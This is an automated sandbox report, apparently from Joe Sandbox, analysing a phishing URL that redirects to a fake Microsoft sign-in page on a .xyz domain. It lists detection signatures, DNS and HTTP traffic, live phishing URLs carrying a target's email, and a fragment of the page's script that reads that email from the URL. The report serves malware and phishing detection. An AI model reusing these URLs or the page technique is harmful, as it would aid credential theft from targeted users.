Edit tour

Windows Analysis Report
http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com

Overview

General Information

Sample URL:	http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com
Analysis ID:	1596553
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish46

Yara detected HtmlPhish54

AI detected suspicious Javascript

Performs DNS queries to domains with low reputation

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML page contains string obfuscation

HTML title does not match URL

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4624 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3852 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2008,i,9276430533462754567,2952342445411814565,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6564 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.4.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.17.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.4.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.5.pages.csv	JoeSecurity_HtmlPhish_46	Yara detected HtmlPhish_46	Joe Security
4.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 1 entries

Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#john.walker@gmail.com=

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'login.loraintoolsltd.xyz' does not match the legitimate domain for Microsoft., The domain 'loraintoolsltd.xyz' is unrelated to Microsoft and appears suspicious., The use of a generic domain extension '.xyz' is often associated with phishing attempts., The URL structure does not indicate any official association with Microsoft. DOM: 4.5.pages.csv

Yara detected HtmlPhish46

Source: Yara match

File source: 4.5.pages.csv, type: HTML

Yara detected HtmlPhish54

Source: Yara match	File source: 1.4.id.script.csv, type: HTML
Source: Yara match	File source: 1.17.i.script.csv, type: HTML
Source: Yara match	File source: 3.3.pages.csv, type: HTML
Source: Yara match	File source: 4.4.pages.csv, type: HTML
Source: Yara match	File source: 4.5.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.0.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://login.loraintoolsltd.xyz/FgJIoRDm#john.wal... The provided JavaScript snippet exhibits several high-risk behaviors, including data exfiltration, obfuscated URLs, and dynamic code execution. The script extracts a user's email from the URL fragment and redirects the user to a suspicious URL, which is a common phishing technique. Additionally, the script uses a Turnstile verification, which could be a social engineering tactic to collect user information. Overall, the combination of these behaviors suggests a high-risk, potentially malicious script.

Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#john.walker@gmail.com	HTTP Parser: Number of links: 0
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#john.walker@gmail.com=	HTTP Parser: Number of links: 0

HTTP Parser: Base64 decoded: 7524578d-db92-47c0-9ac1-e1e9490583bbf3844006-8fac-4862-965b-3ef80b847ef2

Source: https://login.loraintoolsltd.xyz/FgJIoRDm#john.walker@gmail.com

HTTP Parser: Found new string: script . // Callback for the Turnstile verification. function onloadTurnstileCallback() {. turnstile.render('#turnstileCaptcha', {. sitekey: '0x4AAAAAAA5pnBhoTgM91kpZ',. callback: function(response) {. // Enable the button after successful verification. const verifyButton = document.getElementById('verifyButton');. if (verifyButton) {. verifyButton.style.opacity = '1'; // Make button fully visible. verifyButton.style.pointerEvents = 'auto'; // Enable pointer events. }. }. });. }.. // Function to extract and display the fragment. function displayEmailFromFragment() {. var fragment = window.location.hash;. if (fragment) {. var email = fragment.substring(1).replace(/=*$/, '');. var emailDisplay = document.getElementById('grabbed-email');. ...

Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#john.walker@gmail.com	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#john.walker@gmail.com=	HTTP Parser: Title: Sign in to your account does not match URL

Source: http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/john.walker@gmail.com

Sample URL: PII: john.walker@gmail.com

HTTP Parser: <input type="password" .../> found

Source: https://login.loraintoolsltd.xyz/FgJIoRDm#john.walker@gmail.com	HTTP Parser: No favicon
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#john.walker@gmail.com	HTTP Parser: No favicon

Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#john.walker@gmail.com	HTTP Parser: No <meta name="author".. found
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#john.walker@gmail.com=	HTTP Parser: No <meta name="author".. found
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#john.walker@gmail.com=	HTTP Parser: No <meta name="author".. found

Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#john.walker@gmail.com	HTTP Parser: No <meta name="copyright".. found
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#john.walker@gmail.com=	HTTP Parser: No <meta name="copyright".. found
Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731208499721865.NzUyNDU3OGQtZGI5Mi00N2MwLTlhYzEtZTFlOTQ5MDU4M2JiZjM4NDQwMDYtOGZhYy00ODYyLTk2NWItM2VmODBiODQ3ZWYy&ui_locales=en-US&mkt=en-US&client-request-id=f30ca7ff-74e3-4170-af22-dce49ca63576&state=2F9amGozck4Pm-SohwrJR4IyWuDulxU-aSwPcJNEo771fBt3052_TlRoUbBDOXKRqhqL0LR-aNIPBRHMC8-14G2JdgPv2TwF19VCTpePzTEbScn1n07Tx_3XWKJ3-4nYHwRaGJRnIX2NukHb7YU7OPu_YOtmW5rXTVWuE2vbQd7uD1-cmf7TNmyUGgFIT3ICHy7eTJ2f47BhhRXpGIQEhfkYbiXtVPdETZxLF9a2FEPa3KLj_Eb_YZZ5JNWzD2tz27rIhvpwjM1pW0EtTRVt4g&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#john.walker@gmail.com=	HTTP Parser: No <meta name="copyright".. found

Networking

Performs DNS queries to domains with low reputation

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: login.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: login.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: www.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: www.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: live.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: live.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: login.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: login.loraintoolsltd.xyz

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /FgJIoRDm HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://sahadayiz.com.tr/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/5.15.4/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/672eb098a9f3/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/672eb098a9f3/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=905d2bd4e92c7280&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/en8le/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
